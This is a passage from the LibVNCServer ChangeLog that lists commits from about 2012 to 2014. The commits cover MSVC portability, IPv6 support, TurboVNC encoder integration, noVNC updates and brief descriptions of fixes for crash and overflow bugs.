x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf, x11vnc/misc/enhanced_tightvnc_viewer/build.unix, x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, x11vnc/misc/enhanced_tightvnc_viewer/src/README, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa tch, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu ll.patch, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu llscreen.patch, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne wfbsize.patch, x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README, x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop, x11vnc/misc/inet6to4, x11vnc/misc/panner.pl, x11vnc/misc/qt_tslib_inject.pl, x11vnc/misc/ranfb.pl, x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear, x11vnc/misc/slide.pl, x11vnc/misc/turbovnc/Makefile.am, x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc, x11vnc/misc/turbovnc/convert, x11vnc/misc/turbovnc/convert_rfbserver, x11vnc/misc/turbovnc/tight.c, x11vnc/misc/turbovnc/turbojpeg.h, x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/misc/uinput.pl, x11vnc/misc/ultravnc_repeater.pl, x11vnc/misc/vcinject.pl, x11vnc/misc/x11vnc_loop, x11vnc/misc/x11vnc_pw, x11vnc/nox11.h, x11vnc/nox11_funcs.h, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c, x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h, x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Remove x11vnc subdir. The new x11vnc repo is at https://github.com/LibVNC/x11vnc. 2014-09-02 Johannes Schindelin * libvncclient/tls_openssl.c: Fix tv_usec calculation This bug was introduced in the MSVC patches. Signed-off-by: Johannes Schindelin 2014-08-29 Daniel Cohen Gindi * libvncclient/tls_openssl.c: Use Windows' critical sections to emulate pthread's mutexes With Microsoft Visual C++, we cannot use pthreads (MinGW sports an emulation library which is the reason we did not need Windows-specific hacks earlier). Happily, it is very easy to provide Windows-specific emulations for the pthread calls we use. [JES: fixed commit message] Signed-off-by: Johannes Schindelin 2014-08-29 Daniel Cohen Gindi * libvncclient/zrle.c: Perform pointer arithmetic on char * instead of void * Microsoft Visual C++ does not allow pointer arithmetic on void pointers. [JES: fixed commit message] Signed-off-by: Johannes Schindelin 2014-08-29 Daniel Cohen Gindi * libvncclient/tls_openssl.c, rfb/rfbproto.h: MSVC: Use the Unix emulation headers [JES: provided commit message, split out unrelated changes] Signed-off-by: Johannes Schindelin 2014-08-29 Daniel Cohen Gindi * libvncclient/listen.c, libvncclient/sockets.c, libvncclient/vncviewer.c: Use WIN32 for Windows-specific #ifdef guards To support Microsoft Visual C++, we must not guard Windows-specific code in MinGW-specific #ifdef guards. Happily, even 64-bit MSVC defines the WIN32 constant, therefore we can use that instead. [JES: fixed commit message, reordered commit, split out unrelated changes] Signed-off-by: Johannes Schindelin 2014-08-29 Daniel Cohen Gindi * compat/msvc/stdint.h, compat/msvc/sys/time.h, compat/msvc/unistd.h: Add MSVC compatible unix headers The stdint.h file was copied from: https://runexe.googlecode.com/svn-history/r9/trunk/src/runlib/msstdint.h(we can incorporate it because it is licensed under the 3-clause BSD license.) [JES: fixed commit message, fixed stripped copyright header] Signed-off-by: Johannes Schindelin 2014-09-01 Daniel Cohen Gindi * libvncclient/rfbproto.c, libvncclient/sockets.c, libvncclient/tls_openssl.c: MSVC: Use _snprintf instead of snprintf In Microsoft's Visual C runtime, the snprintf() function is actually called _snprintf. Let's just #define the former to call the latter. [JES: fixed commit message] Signed-off-by: Johannes Schindelin 2014-09-01 Daniel Cohen Gindi * rfb/rfbproto.h: Use correct winsock header We link to ws2_32.lib which corresponds to the winsock2.h header, not the winsock.h header. [JES: fixed commit message] Signed-off-by: Johannes Schindelin 2014-08-29 Daniel Cohen Gindi * libvncclient/vncviewer.c: Include Winsock2 header before windows.h include That's because there are duplicate #defines, and when Winsock2 is defined before windows.h then windows.h detects that and prevent redefinition. See http://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/4a90b143-1fb8-43e9-a54c-956127e0c579/windowsh-and-winsock2h?forum=windowssdk[JES: fixed commit message] Signed-off-by: Johannes Schindelin 2014-09-01 Daniel Cohen Gindi * libvncclient/tls_openssl.c: Remove unused variables This change is technically not required to support MSVC, but it was detected by Microsoft's compiler. [JES: fixed commit message] Signed-off-by: Johannes Schindelin 2014-08-26 dscho * : Merge pull request #21 from newsoft/master Fixing two more security issues (remote server crash) 2014-08-18 Nicolas Ruff * libvncserver/rfbserver.c: Check malloc() return value on client->server ClientCutText message. Client can send up to 2**32-1 bytes of text, and such a large allocation is likely to fail in case of high memory pressure. This would in a server crash (write at address 0). 2014-08-16 dscho * : Merge pull request #16 from sandsmark/master Merge patches from KDE/krfb 2014-08-16 Johannes Schindelin * acinclude.m4: Fix whitespace Signed-off-by: Johannes Schindelin 2014-08-10 Luca Falavigna * acinclude.m4: Enable support for ppc64el architecture 2014-08-10 Luca Falavigna * libvncclient.pc.in, libvncserver.pc.in: Use Libs.private to avoid unnecessary linkage 2014-08-16 Johannes Schindelin * libvncclient/rfbproto.c, libvncclient/vncviewer.c: Fix indentation Signed-off-by: Johannes Schindelin 2014-08-16 dscho * : Merge pull request #20 from newsoft/master Fix integer overflow in MallocFrameBuffer() 2014-08-15 newsoft * libvncclient/vncviewer.c: Fix integer overflow in MallocFrameBuffer() Promote integers to uint64_t to avoid integer overflow issue during frame buffer allocation for very large screen sizes 2013-09-28 Amandeep Singh * libvncserver/sockets.c: allow rfbInitSockets with non-ready states. This allows for reinitializations of e. g. sockets in a SHUTDOWN state. The only state that doesn't make sense to reinitialize are READY states. 2013-10-09 Amandeep Singh * libvncserver/main.c: Fix crash in krfb Krfb crashes on quit, if any client is connected due to a rfbClientConnectionGone call missing 2014-07-10 Will Thompson * x11vnc/xrandr.c: x11vnc: fix double X_UNLOCK on xrandr events check_xrandr_event() assumes X_LOCK is taken before it is called, and currently calls X_UNLOCK on behalf of the caller. But in practice, all callers assume that the lock is still held after check_xrandr_event() returns. In particular, this leads to a double-unlock and crash in check_xevents() on any xrandr event. 2014-07-18 dscho * : Merge pull request #13 from wjt/fix-double-X_UNLOCK-on-xrandr-event x11vnc: fix double X_UNLOCK on xrandr events 2014-06-27 Johannes Schindelin * common/lzoconf.h, common/lzodefs.h, common/minilzo.c, common/minilzo.h: Update LZO to version 2.07 It was reported that LZO has security issues in LMS-2014-06-16-1: Oberhumer LZO (CVE-2014-4607): http://seclists.org/oss-sec/2014/q2/665 This was also reported by Alex Xu as https://github.com/LibVNC/libvncserver/issues/9. Signed-off-by: Johannes Schindelin 2014-06-23 dscho * : Merge pull request #7 from waldheinz/init-sfae-padding Initialize padding in SetFormatAndEncodings' rfbSetPixelFormatMsg. 2014-06-23 Matthias Treydte * libvncclient/rfbproto.c: Initialize padding in SetFormatAndEncodings' rfbSetPixelFormatMsg. 2014-06-23 Matthias Treydte * CMakeLists.txt: Use CMAKE_CURRENT_*_DIR instead of CMAKE_*_DIR. This makes the library friendly to use as a git submodule within another project, and should change nothing when compiled alone. For example when having a directory structure like "my_project/external/libvnc", where in libvnc resides a checkout of libvncserver, one can just reference that directory from the CMakeLists.txt in my_project with > add_directory ( external/libvnc ) and add vncclient / vncserver in my_project's taret_link_libraries, one can just hack away without having to manually make / install LibVNCServer whenever something is changed there. 2014-05-14 dscho * : Merge pull request #4 from dextero/master x11vnc: adjust blackout region coordinates to the clipping region 2014-04-05 Johannes Schindelin * libvncclient/rfbproto.c: libvncclient: If we have TLS support, enable VeNCrypt by default Signed-off-by: Johannes Schindelin 2014-04-05 Johannes Schindelin * .gitignore: Ignore the 'mac' example, too Signed-off-by: Johannes Schindelin 2014-04-05 Johannes Schindelin * .gitignore: Ignore the vencrypt document https://www.berrange.com/~dan/vencrypt.txt Signed-off-by: Johannes Schindelin 2014-04-05 Johannes Schindelin * .gitignore: Ignore rfbproto.rst A more up-to-date version of the RFB protocol is maintained by TigerVNC: http://sourceforge.net/p/tigervnc/code/HEAD/tree/rfbproto/rfbproto.rstSigned-off-by: Johannes Schindelin 2014-03-29 Johannes Schindelin * examples/repeater.c: Repeater example: show how to shut down cleanly Since we connected to the client through the repeater, chances are that we want this server shut down once the client disconnected. Signed-off-by: Johannes Schindelin 2014-03-29 Johannes Schindelin * .gitignore, examples/Makefile.am, examples/repeater.c: Add an example how to connect to an UltraVNC-style repeater UltraVNC offers an add-on to connect clients and servers via IDs with a so-called repeater (e.g. to bridge firewalled clients and servers): http://www.uvnc.com/products/uvnc-repeater.html This example demonstrates how to use that feature with a LibVNCServer-based server. Signed-off-by: Johannes Schindelin 2014-04-05 Christian Beier * configure.ac, webclients/novnc/README.md, webclients/novnc/vnc.html: Update sourceforge links to point to github. 2014-03-31 Johannes Schindelin * libvncserver/rfbregion.c: Fix tyop Signed-off-by: Johannes Schindelin 2014-03-30 Johannes Schindelin * .gitignore: Ignore more generated files While at it, also ignore the documentation of the RFB protocol best downloaded manually from http://www.realvnc.com/docs/rfbproto.pdf Signed-off-by: Johannes Schindelin 2014-03-30 Robbert Klarenbeek * libvncclient/vncviewer.c: Address #12 ClientData does not get freed rfbClientSetClientData() allocates a new rfbClientData, but never gets cleaned up, which causes memory leaks. Signed-off-by: Johannes Schindelin 2014-03-30 Johannes Schindelin * examples/example.c, test/encodingstest.c: After free()ing clientData, set it to NULL We will change rfbClientCleanup() to free the data. Signed-off-by: Johannes Schindelin 2013-02-27 Joel Martin * libvncserver/websockets.c: Set opcode correctly for binary frames. 2013-01-25 Christian Beier * rfb/rfbproto.h: Remove unneeded #ifdefs. 2013-01-25 Christian Beier * rfb/rfbclient.h: Fix ABI compatibility issue. 2013-01-09 David Verbeiren * client_examples/gtkvncviewer.c, configure.ac, libvncclient/Makefile.am, libvncclient/h264.c, libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbclient.h, rfb/rfbproto.h: LibVNCClient: Add H.264 encoding for framebuffer updates This patch implements support in LibVNCClient for framebuffer updates encoded as H.264 frames. Hardware accelerated decoding is performed using VA API. This is experimental support to let the community explore the possibilities offered by the potential bandwidth and latency reductions that H.264 encoding allows. This may be particularly useful for use cases such as online gaming, hosted desktops, hosted set top boxes... This patch only provides the client side support and is meant to be used with corresponding server-side support, as provided by an upcoming patch for qemu ui/vnc module (to view the display of a virtual machine executing under QEMU). With this H.264-based encoding, if multiple framebuffer update messages are generated for a single server framebuffer modification, the H.264 frame data is sent only with the first update message. Subsequent update framebuffer messages will contain only the coordinates and size of the additional updated regions. Instructions/Requirements: * The patch should be applied on top of the previous patch I submitted with minor enhancements to the gtkvncviewer application: http://sourceforge.net/mailarchive/message.php?msg_id=30323804 * Currently only works with libva 1.0: use branch "v1.0-branch" for libva and intel-driver. Those can be built as follows: cd libva git checkout v1.0-branch ./autogen.sh make sudo make install cd .. git clone git://anongit.freedesktop.org/vaapi/intel-driver cd intel-driver git checkout v1.0-branch ./autogen.sh make sudo make install Signed-off-by: David Verbeiren 2013-01-08 David Verbeiren * client_examples/gtkvncviewer.c: gtkvncviewer enhancements Hide "Connecting" dialog in gtkvncviewer once an update is received. Hide local cusror in gtkvncviewer. 2012-09-14 Christian Beier * AUTHORS: Add Raphael to AUTHORS. 2012-09-11 Raphael Kubo da Costa * libvncclient/rfbproto.c: Include strings.h for strncasecmp(3) 2012-09-11 Raphael Kubo da Costa * libvncserver/websockets.c: Work around a gcc bug with anonymous structs and unions. GCC < 4.6 failed to parse the declaration of ws_header_t correctly because it did not accept anonymous structs and unions. [1] Work around the bug by adding names to the unions and structs. Ugly, but works. [1] http://gcc.gnu.org/bugzilla/show_bug.cgi?id=4784 2012-09-11 Raphael Kubo da Costa * libvncserver/rfbserver.c: Include stdio.h for snprintf(3) 2012-09-11 Raphael Kubo da Costa * libvncserver/websockets.c: Add the required headers for read(2) 2012-09-11 Raphael Kubo da Costa * CMakeLists.txt, configure.ac, libvncserver/websockets.c, rfb/rfbconfig.h.cmake: Use htobeNN(3) to convert numbers in websocket.c. byteswap.h exists only on glibc, so building libvncserver with websockets support was not possible in other systems. Replace the inclusion of byteswap.h and the WS_* definitions with calls to htobeNN, which should perform the same conversions, be more portable and avoid the need to check for the platform's endianness. 2012-09-11 Raphael Kubo da Costa * CMakeLists.txt, configure.ac: Do not hardcode the need for libresolv. libresolv is only present on systems which use glibc; platforms such as FreeBSD have __b64_ntop as part of libc itself. Improve the detection process and only link against libresolv if it exists on the system, and remember to reset CMAKE_REQUIRED_LIBRARIES after performing the necessary tests, since we do not always want to link against libresolv. 2012-09-11 Raphael Kubo da Costa * common/vncauth.c, libvncclient/rfbproto.c, libvncclient/sockets.c, libvncserver/httpd.c, libvncserver/rfbserver.c, libvncserver/sockets.c, libvncserver/websockets.c: Tune the definitions needed when building with -ansi. The current definitions were mostly useful to glibc and followed its feature_test_macros(3) documentation. However, this means other platforms still had problems when building with strict compilation flags. _BSD_SOURCE, for example, is only recognized by glibc, and other platforms sometimes need _XOPEN_SOURCE instead, or even the removal of some definitions (such as the outdate _POSIX_SOURCE one). _POSIX_SOURCE also had to be conditionally defined in some places, as what it enables or disables during compilation varies across systems. 2012-09-11 Raphael Kubo da Costa * libvncserver/sockets.c, libvncserver/websockets.c: Add some missing feature macro definitions. Building with -ansi failed due to some code (as well as system headers) using non-C89 features. Fix that by adding the usual _POSIX_SOURCE and _BSD_SOURCE definitions already present in some other files. 2012-09-11 Raphael Kubo da Costa * common/turbojpeg.c, libvncserver/tight.c, libvncserver/websockets.c, rfb/rfb.h, rfb/rfbconfig.h.cmake, test/bmp.h: Use C-style comments in rfbconfig.h.cmake and C source code. Using C++-style comments when building the code with -ansi does not work, so be more conservative with the comment style. 2012-09-11 Raphael Kubo da Costa * libvncserver/websockets.c: Correctly include rfbconfig.h. build_dir/rfb is not passed as an include directory automatically to the compiler, so including that file fails. 2012-09-11 Raphael Kubo da Costa * CMakeLists.txt: CMake: Link against libgcrypt when it is found. So far, libgcrypt was looked for but no targets linked against it directly; this caused linking problems for the client and server examples, as the symbols they needed were not passed to the linker. The issue that the GnuTLS websockets code uses libgcrypt regardless of whether it has been found or not has not been touched by this commit, though. 2012-08-19 Christian Beier * webclients/novnc/LICENSE.txt, webclients/novnc/README.md, webclients/novnc/include/base.css, webclients/novnc/include/black.css, webclients/novnc/include/blue.css, webclients/novnc/include/display.js, webclients/novnc/include/input.js, webclients/novnc/include/playback.js, webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, webclients/novnc/include/util.js, webclients/novnc/include/vnc.js, webclients/novnc/include/web-socket-js/web_socket.js, webclients/novnc/include/websock.js, webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, webclients/novnc/vnc_auto.html: Update noVNC webclient. 2012-08-19 Christian Beier * AUTHORS: Update AUTHORS. 2012-08-08 Oliver Loch * libvncserver/sockets.c: Patched sockets.c to allow the use of IPv6 without IPv4. As requested only those lines are indented that have been changed. 2012-07-20 Johannes Schindelin * AUTHORS: Add another contributor Signed-off-by: Johannes Schindelin 2012-07-19 Rostislav Lisovy * libvncclient/tls_openssl.c: Fix in milliseconds to struct timeval conversion Signed-off-by: Rostislav Lisovy Signed-off-by: Johannes Schindelin 2012-05-31 Christian Beier * libvncserver/config.h, libvncserver/rfbconfig.h: Remove autogenerated files from repo. 2012-05-23 Christian Beier * CMakeLists.txt, configure.ac, rfb/rfbconfig.h.cmake: Add Compile Time Version Test Defines. 2012-05-18 Kyle J. McKay * libvncserver/sockets.c: libvncserver/sockets.c: do not segfault when listenSock/listen6Sock == -1 2012-05-09 Christian Beier * TODO, libvncclient/rfbproto.c, libvncclient/sockets.c, vncterm/LinuxVNC.c: Fix some compiler warnings that hinted some no too unimportant errors. 2012-05-07 Christian Beier * TODO: Update TODO. 2012-05-07 Luca Falavigna * test/encodingstest.c: Encodingstest: Use format string argument with fprintf. 2012-05-05 Christian Beier * CMakeLists.txt, configure.ac: Bump version to 0.9.10. 2012-05-04 Christian Beier * ChangeLog: Update ChangeLog for 0.9.9. 2012-05-04 Christian Beier * configure.ac: Enable building DLLs with MinGW32. 2012-05-04 Christian Beier * NEWS: Update NEWS for 0.9.9. 2012-05-03 Christian Beier * libvncclient/rfbproto.c: LibVNCClient: #undef these types in case it's WIN32. The various other headers include windows.h and the winsock headers which give an error when SOCKET and socklen_t are already defined. 2012-05-03 Christian Beier * rfb/rfb.h: LibVNCServer: Include ws2tcpip.h if it's available. Needed for the IPv6 stuff. 2012-04-30 Christian Beier * libvncserver/Makefile.am: LibVNCServer: Prefer GnuTLS over OpenSSL to be in sync with LibVNCClient. 2012-04-30 Christian Beier * libvncserver/rfbserver.c: Some more libjpeg, libpng and zlib related build fixes. 2012-04-30 Christian Beier * configure.ac: Make PKG_CHECK_MODULES fail non-fatal. These check for optional modules. 2012-04-30 Christian Beier * libvncserver/rfbserver.c, rfb/rfb.h: Only try to build TightPNG stuff when libjpeg is available. TightPNG replaces the ZLIB stuff int Tight encoding with PNG. It still uses JPEG rects as well. Theoretically, we could build TightPNG with only libpng and libjpeg - without zlib - but libpng depends on zlib, so this is kinda moot. 2012-04-27 Christian Beier * test/Makefile.am: Only build libjpeg test programs if libjpeg is actually available. 2012-04-26 Christian Beier * CMakeLists.txt: Fix CMake build of LibVNCClient. 2012-04-26 Christian Beier * libvncserver/rfbserver.c: Properly check return value. This also fixes a compiler warning. 2012-04-26 Christian Beier * configure.ac: Fix build when no libjpeg is available. 2012-04-26 Christian Beier * examples/android/Makefile.am, libvncserver/Makefile.am: Include some more missing files for make dist. 2012-04-25 Christian Beier * libvncserver/Makefile.am: Include missing files for make dist. 2012-04-25 Christian Beier * libvncclient/Makefile.am: Fix libvncclient make dist. 2012-04-25 Christian Beier * configure.ac: Better check for Linux build. 2012-04-25 Christian Beier * vncterm/Makefile.am: Binaries that are to be installed should be all lowercase. 2012-04-25 Christian Beier * CMakeLists.txt, configure.ac: Bump version to 0.9.9. 2012-04-25 Christian Beier * common/turbojpeg.c, libvncserver/rfbserver.c, libvncserver/websockets.c, test/tjbench.c: Fix some compiler warnings thrown with newer gcc. 2012-04-25 Christian Beier * test/Makefile.am: Fix turbojpeg tests compilation. 2012-04-25 DRC * common/turbojpeg.c: Fix compilation with some libjpeg distributions. 2012-04-22 Monkey * libvncclient/rfbproto.c: Added support for UltraVNC Single Click as originally proposed by Noobius (Boobius) on 6/1/11. Original thread: http://sourceforge.net/tracker/?func=detail&aid=3310255&group_id=32584&atid=405860 2012-04-15 Christian Beier * AUTHORS: Add Philip to AUTHORS. 2012-04-15 Christian Beier * libvncclient/tls_none.c: LibVNCClient: Fix build with no SSL/TLS library available. 2012-04-15 Christian Beier * libvncclient/tls_openssl.c: LibVNCClient: properly free the openssl session stuff on shutdown. 2012-04-15 Christian Beier * libvncclient/rfbproto.c, libvncclient/sockets.c, libvncclient/tls_gnutls.c, libvncclient/vncviewer.c, rfb/rfbclient.h: LibVNCClient: Remove all those WITH_CLIENT_TLS #ifdefs and move GnuTLS specific functionality into tls_gnutls.c. 2012-04-14 Christian Beier * configure.ac: Unify GnuTLS vs OpenSSL build systems stuff between libvncclient and libvncserver. 2012-04-14 Christian Beier * libvncclient/Makefile.am, libvncclient/tls.c, libvncclient/tls_gnutls.c, libvncclient/tls_none.c, libvncclient/tls_openssl.c: Add the OpenSSL libvncclient TLS version to the build system. 2012-04-12 Christian Beier * webclients/novnc/LICENSE.txt, webclients/novnc/README.md, webclients/novnc/include/base.css, webclients/novnc/include/base64.js, webclients/novnc/include/display.js, webclients/novnc/include/input.js, webclients/novnc/include/jsunzip.js, webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js, webclients/novnc/include/util.js, webclients/novnc/include/vnc.js, webclients/novnc/include/websock.js, webclients/novnc/include/webutil.js, webclients/novnc/vnc.html, webclients/novnc/vnc_auto.html: Update our copy of noVNC. Bugfixes and support for tight encoding with zlib. 2012-04-12 Christian Beier * libvncserver/tight.c: Make TurboVNC compress level 3 actually work. 2012-04-09 DRC * common/turbojpeg.c: Fix memory leak in TurboVNC Note that the memory leak was only occurring with the colorspace emulation code, which is only active when using regular libjpeg (not libjpeg-turbo.) Diagnosed by Christian Beier, using valgrind. Signed-off-by: Johannes Schindelin 2012-04-02 Christian Beier * libvncclient/listen.c, libvncclient/sockets.c, libvncserver/httpd.c, libvncserver/sockets.c: IPv6 support for LibVNCServer, part four: add copyright notices to files with non-trivial changes. 2012-03-29 Johannes Schindelin * client_examples/SDLvncviewer.c: SDLvncviewer: map Apple/Windows keys correctly Signed-off-by: Johannes Schindelin 2012-03-29 Johannes Schindelin * .gitignore: gitignore the compiled gtkvncclient Signed-off-by: Johannes Schindelin 2012-03-29 Johannes Schindelin * client_examples/SDLvncviewer.c: SDLvncviewer: fix the SDL_KEYUP issue Keys got stuck because unicode is 0 upon SDL_KEYUP events, even if the same key event sets unicode correctly in SDL_KEYDOWN events. Work around that for the common case (ASCII) using the fact that both SDL and X11 keysyms were created with ASCII compatibility in mind. So as long as we type ASCII symbols, we can map things trivially. Signed-off-by: Johannes Schindelin 2012-03-23 DRC * CMakeLists.txt: Extend support for the new TurboVNC encoder to the CMake build system 2012-03-25 DRC * common/turbojpeg.c, common/turbojpeg.h, configure.ac, libvncserver/Makefile.am, libvncserver/rfbserver.c, libvncserver/tight.c, libvncserver/turbo.c, rfb/rfb.h, rfb/rfbproto.h, test/Makefile.am, test/bmp.c, test/bmp.h, test/tjbench.c, test/tjunittest.c, test/tjutil.c, test/tjutil.h: Replace TightVNC encoder with TurboVNC encoder. This patch is the result of further research and discussion that revealed the following: -- TightPng encoding and the rfbTightNoZlib extension need not conflict. Since TightPng is a separate encoding type, not supported by TurboVNC-compatible viewers, then the rfbTightNoZlib extension can be used solely whenever the encoding type is Tight and disabled with the encoding type is TightPng. -- In the TightVNC encoder, compression levels above 5 are basically useless. On the set of 20 low-level datasets that were used to design the TurboVNC encoder (these include the eight 2D application captures that were also used when designing the TightVNC encoder, as well as 12 3D application captures provided by the VirtualGL Project-- see http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf), moving from Compression Level (CL) 5 to CL 9 in the TightVNC encoder did not increase the compression ratio of any datasets more than 10%, and the compression ratio only increased by more than 5% on four of them. The compression ratio actually decreased a few percent on five of them. In exchange for this paltry increase in compression ratio, the CPU usage, on average, went up by a factor of 5. Thus, for all intents and purposes, TightVNC CL 5 provides the "best useful compression" for that encoder. -- TurboVNC's best compression level (CL 2) compresses 3D and video workloads significantly more "tightly" than TightVNC CL 5 (~70% better, in the aggregate) but does not quite achieve the same level of compression with 2D workloads (~20% worse, in the aggregate.) This decrease in compression ratio may or may not be noticeable, since many of the datasets it affects are not performance-critical (such as the console output of a compilation, etc.) However, for peace of mind, it was still desirable to have a mode that compressed with equal "tightness" to TightVNC CL 5, since we proposed to replace that encoder entirely. -- A new mode was discovered in the TurboVNC encoder that produces, in the aggregate, similar compression ratios on 2D datasets as TightVNC CL 5. That new mode involves using Zlib level 7 (the same level used by TightVNC CL 5) but setting the "palette threshold" to 256, so that indexed color encoding is used whenever possible. This mode reduces bandwidth only marginally (typically 10-20%) relative to TurboVNC CL 2 on low-color workloads, in exchange for nearly doubling CPU usage, and it does not benefit high-color workloads at all (since those are usually encoded with JPEG.) However, it provides a means of reproducing the same "tightness" as the TightVNC encoder on 2D workloads without sacrificing any compression for 3D/video workloads, and without using any more CPU time than necessary. -- The TurboVNC encoder still performs as well or better than the TightVNC encoder when plain libjpeg is used instead of libjpeg-turbo. Specific notes follow: common/turbojpeg.c common/turbojpeg.h: Added code to emulate the libjpeg-turbo colorspace extensions, so that the TurboJPEG wrapper can be used with plain libjpeg as well. This required updating the TurboJPEG wrapper to the latest code from libjpeg-turbo 1.2.0, mainly because the TurboJPEG 1.2 API handles pixel formats in a much cleaner way, which made the conversion code easier to write. It also eases the maintenance to have the wrapper synced as much as possible with the upstream code base (so I can merge any relevant bug fixes that are discovered upstream.) The libvncserver version of the TurboJPEG wrapper is a "lite" version, containing only the JPEG compression/decompression code and not the lossless transform, YUV encoding/decoding, and dynamic buffer allocation features from TurboJPEG 1.2. configure.ac: Removed the --with-turbovnc option. configure still checks for the presence of libjpeg-turbo, but only for the purposes of printing a performance warning if it isn't available. rfb/rfb.h: Fix a bug introduced with the initial TurboVNC encoder patch. We cannot use tightQualityLevel for the TurboVNC 1-100 quality level, because tightQualityLevel is also used by ZRLE. Thus, a new parameter (turboQualityLevel) was created. rfb/rfbproto.h: Remove TurboVNC-specific #ifdefs and language libvncserver/rfbserver.c: Remove TurboVNC-specific #ifdefs. Fix afore-mentioned tightQualityLevel bug. libvncserver/tight.c: Replaced the TightVNC encoder with the TurboVNC encoder. Relative to the initial TurboVNC encoder patch, this patch also: -- Adds TightPng support to the TurboVNC encoder -- Adds the afore-mentioned low-bandwidth mode, which is mapped externally to Compression Level 9 test/*: Included TJUnitTest (a regression test for the TurboJPEG wrapper) as well as TJBench (a benchmark for same.) These are useful for ensuring that the wrapper still functions correctly and performantly if it needs to be modified for whatever reason. Both of these programs are derived from libjpeg-turbo 1.2.0. As with the TurboJPEG wrapper, they do not contain the more advanced features of TurboJPEG 1.2, such as YUV encoding/decoding and lossless transforms. 2012-03-15 Christian Beier * AUTHORS: Add DRC to AUTHORS. 2012-03-15 Christian Beier * rfb/rfb.h: Move tightsubsamplevel member to the end of rfbClient struct. Try to not break ABI between releases. Even if the code gets ugly... 2012-03-10 DRC * x11vnc/Makefile.am: Fix the build of x11vnc when an out-of-tree build directory is used 2012-03-10 DRC * libvncserver/rfbserver.c: Fix an issue that affects the existing Tight encoder as well as the newly-implemented Turbo encoder. The issue is that, when using the current libvncserver source, it is impossible to disable Tight JPEG encoding. The way Tight/Turbo viewers disable JPEG encoding is by simply not sending the Tight quality value, causing the server to use the default value of -1. Thus, cl->tightQualityLevel has to be set to -1 prior to processing the encodings message for this mechanism to work. Similarly, it is not guaranteed that the compress level will be set in the encodings message, so it is set to a default value prior to processing the message. 2012-03-10 DRC * common/turbojpeg.c, common/turbojpeg.h, configure.ac, libvncserver/Makefile.am, libvncserver/rfbserver.c, libvncserver/turbo.c, rfb/rfb.h, rfb/rfbproto.h: Add TurboVNC encoding support. TurboVNC is a variant of TightVNC that uses the same client/server protocol (RFB version 3.8t), and thus it is fully cross-compatible with TightVNC and TigerVNC (with one exception, which is noted below.) Both the TightVNC and TurboVNC encoders analyze each rectangle, pick out regions of solid color to send separately, and send the remaining subrectangles using mono, indexed color, JPEG, or raw encoding, depending on the number of colors in the subrectangle. However, TurboVNC uses a fundamentally different selection algorithm to determine the appropriate subencoding to use for each subrectangle. Thus, while it sends a protocol stream that can be decoded by any TightVNC-compatible viewer, the mix of subencoding types in this protocol stream will be different from those generated by a TightVNC server. The research that led to TurboVNC is described in the following report: http://www.virtualgl.org/pmwiki/uploads/About/tighttoturbo.pdf. In summary: 20 RFB captures, representing "common" 2D and 3D application workloads (the 3D workloads were run using VirtualGL), were studied using the TightVNC encoder in isolation. Some of the analysis features in the TightVNC encoder, such as smoothness detection, were found to generate a lot of CPU usage with little or no benefit in compression, so those features were disabled. JPEG encoding was accelerated using libjpeg-turbo (which achieves a 2-4x speedup over plain libjpeg on modern x86 or ARM processors.) Finally, the "palette threshold" (minimum number of colors that the subrectangle must have before it is 